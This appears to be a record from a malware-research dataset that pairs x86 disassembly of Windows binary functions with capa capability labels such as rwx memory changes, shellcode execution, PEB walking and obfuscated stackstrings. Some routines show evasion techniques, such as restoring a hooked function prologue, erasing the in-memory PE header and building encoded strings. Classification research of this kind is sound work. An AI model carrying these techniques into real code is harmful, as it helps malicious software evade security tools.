joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d50555d
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x6d520030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.6d5053ca
push 8
mov esi, eax
call fcn.6d50582d
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x6d5055c8
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x6d5055cf
and dword [ebx + 4], 0
jmp 0x6d5055e4
xor eax, eax
jmp 0x6d5056af
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x6d505695
push edi
call fcn.6d507a10
pop ecx
cmp eax, 4
jl 0x6d5055bb
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x6d5055bb
add eax, 0xfffffffd
push 0x6d51982c
push eax
mov dword [ebp - 0x74], eax
call fcn.6d508270
pop ecx
pop ecx
test eax, eax
je 0x6d50562a
push 0x6d519828
push dword [ebp - 0x74]
call fcn.6d508270
pop ecx
pop ecx
test eax, eax
jne 0x6d5055bb
push 0x3b
push edi
call fcn.6d5093f0
pop ecx
pop ecx
test eax, eax
jne 0x6d5055bb
push dword [ebp - 0x78]
call fcn.6d507a10
push edi
mov ebx, eax
call fcn.6d507a10
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.6d50582d
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.6d50d3f7
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.6d50d3f7
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.6d505420
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x6d5055bb
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.6d505895
push ebx
call fcn.6d505895
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d508259
add ebp, 0x214
leave
ret

Function at 0x6d508259
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d520030]
jne 0x6d508263
repz ret
jmp fcn.6d50e721
Function at 0x10002135
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, edx
mov edi, ecx
call fcn.10001f10
mov ebx, eax
test edi, edi
je 0x100021f5
test esi, esi
je 0x100021f5
push 0x104
lea eax, [ebp - 0x110]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, esi
lea ecx, [ebp - 0x110]
call fcn.10001fec
mov edi, eax
cmp edi, 0xffffffff
je 0x100021f5
lea eax, [ebp - 0x110]
push 0x1000d3a8
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push 0
mov esi, eax
push edi
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push esi
push 5
lea eax, [ebp - 0xc]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x114]
add esp, 0x28
push eax
push 0x40
push 5
push ebx
call esi
mov eax, dword [ebp - 0xc]
mov dword [ebx], eax
mov al, byte [ebp - 8]
mov byte [ebx + 4], al
lea eax, [ebp - 0x114]
push eax
push dword [ebp - 0x114]
push 5
push ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ba13
leave
ret

Function at 0x10002204
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
test edi, edi
je 0x10002243
lea eax, [ebp - 8]
push eax
push 0x40
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov dword [edi], 0x8b55ff8b
push eax
push dword [ebp - 8]
mov byte [edi + 4], 0xec
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1000ba13
leave
ret

Function at 0x10002250
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
test esi, esi
jne 0x10002268
push edi
mov edi, dword fs:[0x30]
mov eax, dword [edi + 8]
ret
push ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0x1c]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 4]
pop ebx
jmp 0x10002294
push esi
push dword [eax + 0x20]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov eax, dword [ebp - 4]
je 0x1000229a
mov eax, dword [eax]
mov dword [ebp - 4], eax
cmp dword [eax + 8], 0
jne 0x1000227e
mov eax, dword [eax + 8]
pop esi
leave
ret
Function at 0x10002cc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0x4550
jne 0x10002d3b
mov eax, dword [ebp - 0x10]
mov ax, word [eax + 0x14]
mov word [ebp - 0xc], ax
movzx eax, word [ebp - 0xc]
test eax, eax
je 0x10002d3b
lea eax, [ebp - 8]
push eax
push 0x40
movzx eax, word [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx eax, word [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
movzx eax, word [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000ba13
leave
ret
Function at 0x10003ce8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x44
xor ebx, ebx
lea eax, [ebp - 0x48]
push ebx
push eax
mov esi, ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x44
xor eax, eax
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10003d4b
push dword [ebp - 0x58]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x54]
call esi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ba13
leave
ret

Function at 0x100048b8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], 0x26
mov byte [ebp - 0x2c], 0x5e
mov byte [ebp - 0x2b], 0x2e
mov byte [ebp - 0x2a], 0x2e
mov byte [ebp - 0x29], 0x3e
mov byte [ebp - 0x28], 0x17
mov byte [ebp - 0x27], 0x43
mov byte [ebp - 0x26], 0x43
mov byte [ebp - 0x25], 0x23
mov byte [ebp - 0x24], 0x23
mov byte [ebp - 0x23], 0x47
mov byte [ebp - 0x22], 0x1b
mov byte [ebp - 0x21], 0x3b
mov byte [ebp - 0x20], 0x47
mov byte [ebp - 0x1f], 0x23
mov byte [ebp - 0x1e], 0x1f
mov byte [ebp - 0x1d], 0x47
mov byte [ebp - 0x1c], 0x2f
mov byte [ebp - 0x1b], 0x3f
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x5a
mov byte [ebp - 0x18], 0x46
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x16], 0x42
mov byte [ebp - 0x15], 0x47
mov byte [ebp - 0x14], 0x3e
mov byte [ebp - 0x13], 0x5e
mov byte [ebp - 0x12], 0x3e
mov byte [ebp - 0x11], 3
mov byte [ebp - 0x10], 0x5a
mov byte [ebp - 0xf], 0xb
mov byte [ebp - 0xe], 0x6b
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x67
mov byte [ebp - 0xb], 0x66
mov byte [ebp - 0xa], 0xb
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0xff
lea ecx, [ebp - 0x2c]
call fcn.10004be7
push 9
pop ecx
lea esi, [ebp - 0x2c]
mov edi, 0x10010b48
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, 0x10010b48
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000ba13
leave
ret
Function at 0x10004996
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], 0x26
mov byte [ebp - 0x2c], 0x5e
mov byte [ebp - 0x2b], 0x2e
mov byte [ebp - 0x2a], 0x2e
mov byte [ebp - 0x29], 0x3e
mov byte [ebp - 0x28], 0x17
mov byte [ebp - 0x27], 0x43
mov byte [ebp - 0x26], 0x43
mov byte [ebp - 0x25], 0x23
mov byte [ebp - 0x24], 0x23
mov byte [ebp - 0x23], 0x47
mov byte [ebp - 0x22], 0x1b
mov byte [ebp - 0x21], 0x3b
mov byte [ebp - 0x20], 0x47
mov byte [ebp - 0x1f], 0x23
mov byte [ebp - 0x1e], 0x1f
mov byte [ebp - 0x1d], 0x47
mov byte [ebp - 0x1c], 0x2f
mov byte [ebp - 0x1b], 0x3f
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], 0x5e
mov byte [ebp - 0x18], 0x7a
mov byte [ebp - 0x17], 0x32
mov byte [ebp - 0x16], 0x5e
mov byte [ebp - 0x15], 0x47
mov byte [ebp - 0x14], 0x3e
mov byte [ebp - 0x13], 0x5e
mov byte [ebp - 0x12], 0x3e
mov byte [ebp - 0x11], 3
mov byte [ebp - 0x10], 0x5a
mov byte [ebp - 0xf], 0xb
mov byte [ebp - 0xe], 0x6b
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x67
mov byte [ebp - 0xb], 0x66
mov byte [ebp - 0xa], 0xb
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x6e
mov byte [ebp - 7], 0xff
lea ecx, [ebp - 0x2c]
call fcn.10004be7
push 9
pop ecx
lea esi, [ebp - 0x2c]
mov edi, 0x10010b18
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, 0x10010b18
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000ba13
leave
ret

Function at 0x10004c30
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov edx, dword [ecx]
je 0x10004c61
push esi
push edi
mov edi, dword [ebp + 8]
not edx
xor esi, esi
movzx eax, byte [esi + edi]
xor eax, edx
shr edx, 8
movzx eax, al
xor edx, dword [eax*4 + 0x1000d7b8]
inc esi
cmp esi, dword [ebp + 0xc]
jne 0x10004c44
pop edi
not edx
pop esi
mov dword [ecx], edx
pop ebp
ret 8
Function at 0x10004c70
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100107ce], 0
push esi
push edi
jne 0x10004d33
push ebx
push 0x69
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov ebx, eax
mov esi, str.Initialize_class_first
push 5
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004cad
push 0x11
pop ecx
mov esi, 0x1000dc10
lea eax, [ebp - 0x10]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x16
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004cd5
mov ax, word [0x1000dc58]
lea edx, [ebp - 0x10]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10004ceb
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004cf7
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004d10
mov ax, word [0x1000dc5c]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
pop ebx
jmp 0x10004d63
mov ecx, dword [0x10010804]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010804]
lea edi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010804]
lea esi, [eax + 0x30]
mov eax, dword [ecx]
call dword [eax + 8]
mov edx, dword [esi]
add edx, dword [edi]
mov ecx, dword [eax + 0x44]
call edx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000ba13
leave
ret
Function at 0x10004d71
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100107ce], 0
push ebx
push esi
push edi
mov ebx, ecx
jne 0x10004e35
push 0x69
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov ebx, eax
mov esi, str.Initialize_class_first
push 5
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004db0
push 0x11
pop ecx
mov esi, 0x1000dc10
lea eax, [ebp - 0x10]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x1b
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004dd8
mov ax, word [0x1000dc58]
lea edx, [ebp - 0x10]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10004dee
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004dfa
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004e13
mov ax, word [0x1000dc5c]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x10004e65
mov ecx, dword [0x10010804]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010804]
mov edi, dword [eax + 0x4c]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010804]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov edx, dword [esi]
mov ecx, edi
push ebx
add edx, dword [eax]
call edx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ba13
leave
ret
Function at 0x10004e74
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100107ce], 0
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov ebx, ecx
jne 0x10004f3b
push 0x69
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov ebx, eax
mov esi, str.Initialize_class_first
push 5
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004eb6
push 0x11
pop ecx
mov esi, 0x1000dc10
lea eax, [ebp - 0x10]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x21
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004ede
mov ax, word [0x1000dc58]
lea edx, [ebp - 0x10]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10004ef4
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004f00
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10004f19
mov ax, word [0x1000dc5c]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x10004f77
mov ecx, dword [0x10010804]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010804]
lea edi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010804]
push 0
push 0
push 0xa
push 1
push dword [ebp - 0x14]
lea esi, [eax + 0x24]
mov eax, dword [ecx]
push ebx
call dword [eax + 8]
mov edx, dword [esi]
add edx, dword [edi]
mov ecx, dword [eax + 0x50]
call edx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ba13
leave
ret
Function at 0x10004fdb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x100107ce], 0
push ebx
push esi
push edi
mov bl, cl
jne 0x100050a2
push 0x69
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov ebx, eax
mov esi, str.Initialize_class_first
push 5
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000501a
push 0x11
pop ecx
mov esi, 0x1000dc10
lea eax, [ebp - 0x10]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x3e
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10005042
mov ax, word [0x1000dc58]
lea edx, [ebp - 0x10]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x10005058
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10005064
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000507d
mov ax, word [0x1000dc5c]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000512e
mov ecx, dword [0x10010804]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010804]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [eax + 0x18]
lea eax, [ebp - 0x14]
push eax
mov eax, dword [esi]
add eax, dword [ecx]
push 0x40
push 4
push eax
call edi
mov ecx, dword [0x10010804]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010804]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [esi]
mov eax, dword [eax + 0x18]
test bl, bl
je 0x100050fe
mov dword [ecx + eax], 1
jmp 0x10005102
and dword [ecx + eax], 0
mov ecx, dword [0x10010804]
mov eax, dword [ecx]
call dword [eax + 8]
mov ecx, dword [0x10010804]
lea esi, [eax + 0x58]
mov eax, dword [ecx]
call dword [eax + 8]
lea ecx, [eax + 0x18]
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
mov eax, dword [esi]
add eax, dword [ecx]
push 4
push eax
call edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ba13
leave
ret
Function at 0x1000513d
Capabilities:
Print debug messages

Disassembly:
push 0x128
mov eax, 0x1000cd22
call fcn.1000cc0f
mov esi, edx
mov edi, ecx
cmp byte [0x100107ce], 0
jne 0x100051fb
push 0x69
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
pop ecx
mov ebx, eax
mov esi, str.Initialize_class_first
push 5
pop ecx
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000517a
push 0x11
pop ecx
mov esi, 0x1000dc10
lea eax, [ebp - 0x1c]
rep movsd dword es:[edi], dword [esi]
push 0xa
push eax
push 0x4d
movsw word es:[edi], word [esi]
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__itoa]
add esp, 0xc
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100051a2
mov ax, word [0x1000dc58]
lea edx, [ebp - 0x1c]
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x100051b8
sub edx, esi
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100051c4
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100051dd
mov ax, word [0x1000dc5c]
push ebx
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push ebx
jmp 0x100052a5
push 0x114
xor ebx, ebx
lea eax, [ebp - 0x134]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x123]
mov dword [ebp - 0x134], ebx
add esp, 0xc
mov dword [ebp - 0x130], 0x800
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x128], eax
mov byte [ebp - 0x124], 1
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x134]
push edi
mov dword [ebp - 0x20], 0x3e
call fcn.100072fe
push esi
lea ecx, [ebp - 0x134]
call fcn.10007333
push dword [ebp + 8]
lea ecx, [ebp - 0x134]
call fcn.100072fe
push ebx
lea ecx, [ebp - 0x134]
call fcn.10007333
sub esp, 0x10
lea edx, [ebp - 0x134]
lea ecx, [ebp - 0x20]
call fcn.10004e74
add esp, 0x10
cmp byte [ebp - 0x124], bl
je 0x100052ac
cmp dword [ebp - 0x130], 0x800
jle 0x100052ac
push dword [ebp - 0x128]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
call fcn.1000cbfe
ret
Function at 0x10007a4e
Capabilities:
Get remote cert context via schannel

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov dword [0x10010870], ecx
xor esi, esi
and dword [ebp - 0x1c], esi
lea ecx, [ebp - 0x18]
push edi
xor ebx, ebx
mov dword [0x1001086c], edx
xor edi, edi
mov dword [ebp - 0x20], ebx
call fcn.10007b84
test eax, eax
jne 0x10007b31
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x18]
mov ebx, dword [ebp + 8]
inc esi
mov dword [0x10010ce8], eax
mov eax, dword [ebp + 0x10]
mov dword [0x10010cf0], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x10]
push eax
push ecx
mov ecx, ebx
call fcn.10007d14
add esp, 0xc
test eax, eax
jne 0x10007b2e
lea eax, [ebp - 0x1c]
mov edi, esi
push eax
push 0x53
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x10007b2e
mov ecx, dword [ebp - 0x1c]
call fcn.1000854c
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.1000862a
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x10]
push ecx
push eax
mov ecx, ebx
call fcn.10008049
pop ecx
pop ecx
test eax, eax
jne 0x10007b2e
push ecx
push ecx
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
lea edx, [ebp - 0x18]
call fcn.100081a5
add esp, 0xc
test eax, eax
jne 0x10007b2e
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
lea edx, [ebp - 0x18]
call fcn.10007c38
pop ecx
test eax, eax
jne 0x10007b2e
xor edi, edi
mov ebx, esi
jmp 0x10007b31
mov ebx, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], 0
je 0x10007b44
push dword [ebp - 0x1c]
call dword [sym.imp.CRYPT32.dll_CertFreeCertificateContext]
and dword [ebp - 0x1c], 0
test edi, edi
je 0x10007b52
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
test esi, esi
je 0x10007b60
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
mov ecx, dword [0x100108ac]
test ecx, ecx
je 0x10007b73
push 0
push ecx
call dword [sym.imp.CRYPT32.dll_CertCloseStore]
mov ecx, dword [ebp - 8]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ba13
leave
ret